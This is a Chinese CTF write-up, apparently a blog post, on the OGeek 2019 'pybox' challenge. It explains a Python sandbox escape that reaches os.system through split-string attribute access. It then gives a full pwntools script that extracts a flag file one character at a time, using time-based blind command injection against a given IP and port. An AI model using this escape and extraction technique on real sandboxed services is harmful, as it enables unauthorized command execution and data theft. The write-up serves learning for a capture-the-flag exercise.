美文网首页Reverse
pybox----ogeek2019

pybox----ogeek2019

作者: Adam_0 | 来源:发表于2019-08-27 13:56 被阅读0次

这是队内大佬做出来的,复现一下。


image.png

看到这个题目想到python沙箱逃逸,而且是基于时间的。第一次接触还不是很懂,在这里记录一下。
沙箱逃逸参考:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape-zh/
python沙箱逃逸一些套路的小结
沙箱逃逸我的理解就是,模拟终端,导入一些系统函数,实现任意命令执行。在python上比如说os.system('cat /flag')。如果服务器没有过滤,我们可以直接导入os ,然后就执行命令就会得到flag。 还有很多骚操作我还不懂,还需要继续学习。

对于这道题直接给出payload:

payload += '''__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')'''

payload += '''('a=`cut -f '''

payload += str(1)

payload += ''' /home/flag|cut -c '''

payload += str(count)

payload += '''`; [ $a = "'''

payload += letter

payload += '''" ] && sleep 2 ')'''
#_import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -f 1 /home/flag|cut -c 1`; [ $a = "d" ] && sleep 3 ')

通过盲注的方式,遍历所有可打印字符与flag的字符按顺序比对,如果相等就sleep 3 ,不相等就直接执行下一步命令,所以我们只需要找到运行时间差过两秒的命令就使flag里面的字符之一了。

脚本如下:

from pwn import *
import time
import string 

p = remote('47.112.108.17',12312)
alphabet = ['?','!','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','^','~','a','b','c','d','e','f','g','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
#print alphabet

flag = ''
count = 0
sign = 0
print p.recv()
print p.recv()
for i in range(37):
   count += 1
   sign = 0
   for letter in alphabet:
       payload = ''
       payload += '''__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')'''
       payload += '''('a=`cut -f '''
       payload += str(1)
       payload += ''' /home/flag|cut -c '''
       payload += str(count)
       payload += '''`; [ $a = "'''
       payload += letter
       payload += '''" ] && sleep 2 ')'''
       a = time.time()
       p.sendline(payload)
       p.recv()
       b = time.time()
       if (b-a)>1 :
           print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!YES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
           flag+=letter
           sign = 1
           print flag
           break
   if sign == 0:
       print "@@@@@@@@@@@@@@@@@@@@@ERROR@@@@@@@@@@@@@@@@@@@@@@@@@@"

print flag

image.png

相关文章

  • pybox----ogeek2019

    这是队内大佬做出来的,复现一下。 看到这个题目想到python沙箱逃逸,而且是基于时间的。第一次接触还不是很懂,在...

网友评论

    本文标题:pybox----ogeek2019

    本文链接:https://www.haomeiwen.com/subject/jwxeectx.html